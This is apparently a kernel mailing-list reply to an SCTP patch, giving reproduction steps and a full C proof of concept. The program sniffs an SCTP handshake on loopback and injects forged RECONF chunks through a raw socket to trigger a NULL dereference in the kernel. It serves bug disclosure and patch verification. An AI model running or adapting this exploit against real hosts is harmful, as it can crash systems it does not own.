Re: [PATCH net v2] sctp: fix NULL deref on untransmitted RECONF completion
From: Weiming Shi
Date: Sat Aug 22 2026 - 13:32:04 EST
Reproduction Steps:
1. Requirements
```
CONFIG_IP_SCTP=y
CONFIG_PACKET=y
```
2. PoC
```c
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define IPPROTO_SCTP_ 132
#define SOL_SCTP_ 132
#define SCTP_RECONFIG_SUPPORTED_ 117
#define SCTP_ENABLE_STREAM_RESET_ 118
#define SCTP_ENABLE_RESET_STREAM_REQ_ 0x01
#define SCTP_CID_INIT 1
#define SCTP_CID_INIT_ACK 2
#define SCTP_CID_RECONF 0x82
#define P_RESET_OUT_REQUEST 0x000d
#define P_RESET_IN_REQUEST 0x000e
#define P_RESET_RESPONSE 0x0010
#define SRV_PORT 29899
struct sctp_assoc_value_ {
int assoc_id;
uint32_t assoc_value;
};
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fprintf(stderr, ": %s\n", strerror(errno));
exit(1);
}
static void say(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
printf("\n");
fflush(stdout);
}
/* CRC32c (Castagnoli), reflected, as used for the SCTP checksum. */
static uint32_t crc32c(const uint8_t *buf, size_t len)
{
static uint32_t tab[256];
static int done;
uint32_t crc = 0xffffffffu;
size_t i;
if (!done) {
for (i = 0; i < 256; i++) {
uint32_t c = (uint32_t)i;
int k;
for (k = 0; k < 8; k++)
c = (c & 1) ? (c >> 1) ^ 0x82f63b78u : c >> 1;
tab[i] = c;
}
done = 1;
}
for (i = 0; i < len; i++)
crc = tab[(crc ^ buf[i]) & 0xff] ^ (crc >> 8);
return crc ^ 0xffffffffu;
}
static void put16(uint8_t *p, uint16_t v) { uint16_t t = htons(v);
memcpy(p, &t, 2); }
static void put32(uint8_t *p, uint32_t v) { uint32_t t = htonl(v);
memcpy(p, &t, 4); }
/*
* Drain the AF_PACKET tap and pull out
* - the initial TSN from the INIT we sent (peer's strreset_inseq)
* - the initiate tag from the INIT-ACK we received (vtag for our packets)
*/
static int harvest_handshake(int tap, uint16_t cport, uint32_t *init_tsn,
uint32_t *peer_vtag)
{
int got_tsn = 0, got_vtag = 0;
uint8_t buf[2048];
for (;;) {
ssize_t n = recv(tap, buf, sizeof(buf), MSG_DONTWAIT);
const uint8_t *ip, *sctp, *chunk;
unsigned int ihl;
uint16_t sport, dport;
if (n < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
break;
die("tap recv");
}
if (n < (ssize_t)(sizeof(struct iphdr) + 12 + 4))
continue;
ip = buf;
if ((ip[0] >> 4) != 4 || ip[9] != IPPROTO_SCTP_)
continue;
ihl = (ip[0] & 0x0f) * 4;
if (n < (ssize_t)(ihl + 12 + 4 + 16))
continue;
sctp = ip + ihl;
memcpy(&sport, sctp + 0, 2); sport = ntohs(sport);
memcpy(&dport, sctp + 2, 2); dport = ntohs(dport);
chunk = sctp + 12;
/* INIT we emitted: fixed part is
tag/a_rwnd/nout/nin/initial_tsn */
if (chunk[0] == SCTP_CID_INIT && sport == cport &&
dport == SRV_PORT && !got_tsn) {
memcpy(init_tsn, chunk + 4 + 12, 4);
*init_tsn = ntohl(*init_tsn);
got_tsn = 1;
}
/* INIT-ACK from the victim: its initiate tag is our vtag */
if (chunk[0] == SCTP_CID_INIT_ACK && sport == SRV_PORT &&
dport == cport && !got_vtag) {
memcpy(peer_vtag, chunk + 4, 4);
*peer_vtag = ntohl(*peer_vtag);
got_vtag = 1;
}
}
return got_tsn && got_vtag;
}
int main(int argc, char **argv)
{
struct sockaddr_in srv = { 0 }, cli = { 0 };
uint32_t init_tsn = 0, peer_vtag = 0;
int lfd, cfd, afd, tap, raw, one = 1;
struct sctp_assoc_value_ av;
struct sockaddr_ll ll = { 0 };
socklen_t slen;
uint8_t pkt[64];
int multichunk;
uint16_t cport;
size_t paylen;
uint32_t ck;
uint8_t *c;
multichunk = (argc > 1 && !strcmp(argv[1], "multichunk"));
srv.sin_family = AF_INET;
srv.sin_port = htons(SRV_PORT);
srv.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
/* ---- victim endpoint ------------------------------------------- */
lfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP_);
if (lfd < 0)
die("socket(SCTP) -- is the sctp module loaded?");
if (setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
die("SO_REUSEADDR");
av.assoc_id = 0;
av.assoc_value = 1;
if (setsockopt(lfd, SOL_SCTP_, SCTP_RECONFIG_SUPPORTED_, &av,
sizeof(av)) < 0)
die("victim SCTP_RECONFIG_SUPPORTED");
av.assoc_value = SCTP_ENABLE_RESET_STREAM_REQ_;
if (setsockopt(lfd, SOL_SCTP_, SCTP_ENABLE_STREAM_RESET_, &av,
sizeof(av)) < 0)
die("victim SCTP_ENABLE_STREAM_RESET");
if (bind(lfd, (struct sockaddr *)&srv, sizeof(srv)) < 0)
die("bind");
if (listen(lfd, 4) < 0)
die("listen");
say("[*] victim listening on 127.0.0.1:%d (reconf + stream
reset on)", SRV_PORT);
/* ---- tap loopback before the handshake -------------------------- */
tap = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
if (tap < 0)
die("AF_PACKET socket");
ll.sll_family = AF_PACKET;
ll.sll_protocol = htons(ETH_P_IP);
ll.sll_ifindex = if_nametoindex("lo");
if (!ll.sll_ifindex)
die("if_nametoindex(lo)");
if (bind(tap, (struct sockaddr *)&ll, sizeof(ll)) < 0)
die("bind tap");
/* ---- attacker association --------------------------------------- */
cfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP_);
if (cfd < 0)
die("client socket");
av.assoc_id = 0;
av.assoc_value = 1;
if (setsockopt(cfd, SOL_SCTP_, SCTP_RECONFIG_SUPPORTED_, &av,
sizeof(av)) < 0)
die("client SCTP_RECONFIG_SUPPORTED");
if (connect(cfd, (struct sockaddr *)&srv, sizeof(srv)) < 0)
die("connect");
afd = accept(lfd, NULL, NULL);
if (afd < 0)
die("accept");
slen = sizeof(cli);
if (getsockname(cfd, (struct sockaddr *)&cli, &slen) < 0)
die("getsockname");
cport = ntohs(cli.sin_port);
say("[*] association established, client port %u", cport);
if (!harvest_handshake(tap, cport, &init_tsn, &peer_vtag)) {
fprintf(stderr, "could not recover TSN/vtag from the tap\n");
return 1;
}
say("[*] harvested initial_tsn=0x%08x peer_vtag=0x%08x",
init_tsn, peer_vtag);
/* ---- forge the RECONF chunk -------------------------------------- */
memset(pkt, 0, sizeof(pkt));
put16(pkt + 0, cport); /* source port */
put16(pkt + 2, SRV_PORT); /* destination port */
put32(pkt + 4, peer_vtag); /* verification tag */
/* pkt + 8: checksum, filled in below */
c = pkt + 12;
if (multichunk) {
/* chunk #1: parks the reply, still corked */
c[0] = SCTP_CID_RECONF;
c[1] = 0;
put16(c + 2, 4 + 8);
put16(c + 4 + 0, P_RESET_IN_REQUEST);
put16(c + 4 + 2, 8);
put32(c + 4 + 4, init_tsn);
c += 12;
c[0] = SCTP_CID_RECONF;
c[1] = 0;
put16(c + 2, 4 + 12);
put16(c + 4 + 0, P_RESET_RESPONSE);
put16(c + 4 + 2, 12);
put32(c + 4 + 4, 0);
put32(c + 4 + 8, 0);
paylen = 12 + 12 + 16;
} else {
c[0] = SCTP_CID_RECONF;
c[1] = 0;
put16(c + 2, 4 + 8 + 16 + 12);
put16(c + 4 + 0, P_RESET_IN_REQUEST);
put16(c + 4 + 2, 8);
put32(c + 4 + 4, init_tsn);
put16(c + 12 + 0, P_RESET_OUT_REQUEST);
put16(c + 12 + 2, 16);
put32(c + 12 + 4, init_tsn + 1);
put32(c + 12 + 8, 0);
put32(c + 12 + 12, 0);
put16(c + 28 + 0, P_RESET_RESPONSE);
put16(c + 28 + 2, 12);
put32(c + 28 + 4, 0);
put32(c + 28 + 8, 0);
paylen = 12 + 4 + 8 + 16 + 12;
}
ck = crc32c(pkt, paylen);
memcpy(pkt + 8, &ck, 4); /* little endian on the wire */
raw = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP_);
if (raw < 0)
die("raw socket (need CAP_NET_RAW)");
say("[*] injecting %s", multichunk ?
"two RECONF chunks in one packet: [IN_REQUEST] [RESPONSE]" :
"one RECONF chunk: [IN_REQUEST, OUT_REQUEST, RESPONSE]");
if (sendto(raw, pkt, paylen, 0,
(struct sockaddr *)&srv, sizeof(srv)) < 0)
die("sendto");
sleep(2);
say("[*] survived -- no crash");
(void)afd;
return 0;
}
```